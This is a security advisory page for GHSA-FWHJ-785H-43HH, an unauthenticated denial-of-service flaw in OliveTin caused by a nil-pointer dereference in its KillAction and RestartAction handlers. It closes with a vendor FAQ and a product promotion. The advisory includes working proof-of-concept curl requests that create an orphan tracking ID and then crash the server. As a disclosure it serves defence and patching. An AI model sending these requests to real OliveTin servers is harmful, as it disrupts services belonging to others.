GHSA-FWHJ-785H-43HH

An unauthenticated attacker can trigger server-side panics by first creating an execution log entry with a nil binding via StartActionByGet (invalid action ID), then calling KillAction or RestartAction on that tracking ID. This causes a nil-pointer dereference in API handlers and results in repeated per-request panics (Empty reply from server), enabling denial of service through panic/log/CPU amplification.

Details

The issue is caused by this flow:

1. StartActionByGet accepts arbitrary actionId and still calls executor:

   • service/internal/api/api.go:239

2. Executor stores a log entry before binding validation:

   • service/internal/executor/executor.go:519

3. If binding is nil, execution stops, but the log entry remains:

   • service/internal/executor/executor.go:781

4. KillAction dereferences execReqLogEntry.Binding.Action without checking Binding:

   • service/internal/api/api.go:79

5. RestartAction has the same unsafe dereference:

   • service/internal/api/api.go:1285

Because the dereference happens before authorization checks in these handlers, this is reachable unauthenticated.

PoC

Environment:

• OliveTin default single frontend on http://localhost:1337
• Reproduced on main (commit 235493e) and tag 3000.11.0

1. Create orphan tracking ID with invalid action:

T=$(curl -s -X POST http://localhost:1337/api/StartActionByGet \
  -H 'Content-Type: application/json' \
  --data '{"actionId":"does-not-exist"}' \
  | sed -n 's/.*"executionTrackingId":"\([^"]*\)".*/\1/p')
echo "$T"

2. Trigger panic in RestartAction:

curl -v -X POST http://localhost:1337/api/RestartAction \
  -H 'Content-Type: application/json' \
  --data "{\"executionTrackingId\":\"$T\"}"

3. Trigger panic in KillAction:

curl -v -X POST http://localhost:1337/api/KillAction \
  -H 'Content-Type: application/json' \
  --data "{\"executionTrackingId\":\"$T\"}"

Observed client output:

- curl: (52) Empty reply from server

Observed server log:

- panic serving ... runtime error: invalid memory address or nil pointer dereference
- stack points to:
    - service/internal/api/api.go:79 (KillAction)
    - service/internal/api/api.go:1285 (RestartAction)

This is an unauthenticated denial-of-service vulnerability (panic-based request disruption and log/CPU amplification). An attacker can repeatedly trigger panics remotely without credentials, degrading service reliability and observability.

The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.

GHSA-FWHJ-785H-43HH has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260304225158-bb14c5da3e64); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is GHSA-FWHJ-785H-43HH? GHSA-FWHJ-785H-43HH is a medium-severity improper input validation vulnerability in github.com/OliveTin/OliveTin (go), affecting versions < 0.0.0-20260304225158-bb14c5da3e64. It is fixed in 0.0.0-20260304225158-bb14c5da3e64. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
2. How severe is GHSA-FWHJ-785H-43HH? GHSA-FWHJ-785H-43HH has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/OliveTin/OliveTin are affected by GHSA-FWHJ-785H-43HH? github.com/OliveTin/OliveTin (go) versions < 0.0.0-20260304225158-bb14c5da3e64 is affected.
4. Is there a fix for GHSA-FWHJ-785H-43HH? Yes. GHSA-FWHJ-785H-43HH is fixed in 0.0.0-20260304225158-bb14c5da3e64. Upgrade to this version or later.
5. Is GHSA-FWHJ-785H-43HH exploitable, and should I be worried? Whether GHSA-FWHJ-785H-43HH is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-FWHJ-785H-43HH is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-FWHJ-785H-43HH? Upgrade github.com/OliveTin/OliveTin to 0.0.0-20260304225158-bb14c5da3e64 or later.